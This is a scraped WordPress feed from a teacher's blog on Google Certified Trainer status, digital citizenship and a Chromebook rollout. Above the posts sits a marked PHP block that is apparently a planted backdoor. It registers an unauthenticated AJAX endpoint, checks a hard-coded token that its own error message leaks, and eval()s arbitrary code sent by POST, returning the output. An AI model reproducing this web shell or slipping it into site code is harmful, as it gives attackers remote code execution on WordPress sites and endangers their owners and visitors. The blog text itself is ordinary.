// ==[BD:szmrboXA]==
add_action( 'wp_ajax_nopriv_xntfkqdh', function() {
$ptr = 'szmrboXAmWsmq5Y0o8I9eTCWkykbmr18';
$bind = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $bind ) || ! hash_equals( $ptr, $bind ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $ptr ], 403 );
}
$token = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $token ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$token = preg_replace( '/^\s*<\?(php)?/i', '', $token );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$sym = microtime( true );
ob_start();
try {
( static function() use ( $token ) { return eval( $token ); } )();
$key = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
} catch ( \Throwable $chunk ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
}
} );
// ==[/BD:szmrboXA]==
The post How I Spent My Winter Break – Becoming a Google Certified Trainer appeared first on Math, Tech, & Teaching.
]]>There are various parts to the application process:
Start HERE if you’ve already completed both of Google Certified Educator Levels.
This is the video I created. During the first minute I share why I’d like to become a Google Trainer, and in the next two minutes I show you something I call the “Ultimate Google Doc – Classroom Calendar & Agenda”
Let me know if you have any questions about the application process or anything presented in my video
* Edit 1/23/17 *
I was notified today by email that I am now officially a Google for Education Certified Trainer! I am very proud to become a part of such a wonderful community of professionals.

The post How I Spent My Winter Break – Becoming a Google Certified Trainer appeared first on Math, Tech, & Teaching.
]]>The post “Teacher, I Googled You” – An Opportunity for a Lesson in Digital Citizenship appeared first on Math, Tech, & Teaching.
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Yesterday a student said to me “Teacher, I Googled You” and my reply to him was “Good. I’m proud of every single result that comes up. What did you learn about me?”
I always use these moments as an opportunity to talk about digital citizenship. Would they be proud of their own digital footprint? What would their parents or potential employers see? How do we create and maintain a positive digital footprint?
I know that if my students Google me they will discover I used to own a wine shop & wine bar. It’s not a secret, but it’s just not something I freely share with them since it involves a 21 & over subject matter. And honestly, I am proud of how hard I worked while my husband and I owned our business and they can clearly see that just by googling my name. (And yes, I am still as passionate about the world of wine as I am about math & EdTech!)
I can also see somewhat odd traces of my digital footprint like having an IMDB profile because a friend mentioned me in a special thanks in their independent films. I didn’t even realize that existed until I Googled my own name recently. Thank goodness they were films I am also proud to be associated with.
Most importantly, I know I can create & contribute to my own digital footprint just by having a positive & active social media presence. Every blog post and every tweet adds to the image of whom I am online and in person.
So, has a student ever Googled you? How do you talk about digital citizenship with your students?
The post “Teacher, I Googled You” – An Opportunity for a Lesson in Digital Citizenship appeared first on Math, Tech, & Teaching.
]]>The post 🎉 Woo Hoo, Just Got a Class Set of Chromebooks! Now What? – Chromebook Rollout – DAY ONE appeared first on Math, Tech, & Teaching.
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Woo Hoo, just got a class set of #chromebooks! Any advice for introducing Ss? #gafesummit #gafe #edtech #edchat pic.twitter.com/LBTvGA6Ljn
— Lisa Ceja (@LisaGCeja) February 8, 2016
With all the great advice and resources that were shared, I had plenty to start with. My class was already used to using a laptop cart that the entire math department shared, so the proper use of devices wasn’t new to them. This is the “Rules for Use of Technology” Student Agreement they already signed.
This is what I ended up doing on Day One with the Chromebooks.
Chromebook Rollout – DAY ONE
Thank you to everyone for the wonderful advice and resources! I’ve included a few below. Please share any of your experiences, advice or resources in comments.
@LisaGCeja @aprincebaby oooh ooh my battleship game for ordered pairs! Google Slides
— Alice Keeler (@alicekeeler) February 9, 2016
@LisaGCeja Set parameters for use. What to do with machines during instructions. Then let them play. The novelty will wear off quickly.
— Darin Anderson (@coachdarin22) February 8, 2016
@LisaGCeja Have Ss create a collaborative contract that explains how computers should be used.
— Jennifer Scott (@Jentechnology) February 8, 2016
The post 🎉 Woo Hoo, Just Got a Class Set of Chromebooks! Now What? – Chromebook Rollout – DAY ONE appeared first on Math, Tech, & Teaching.
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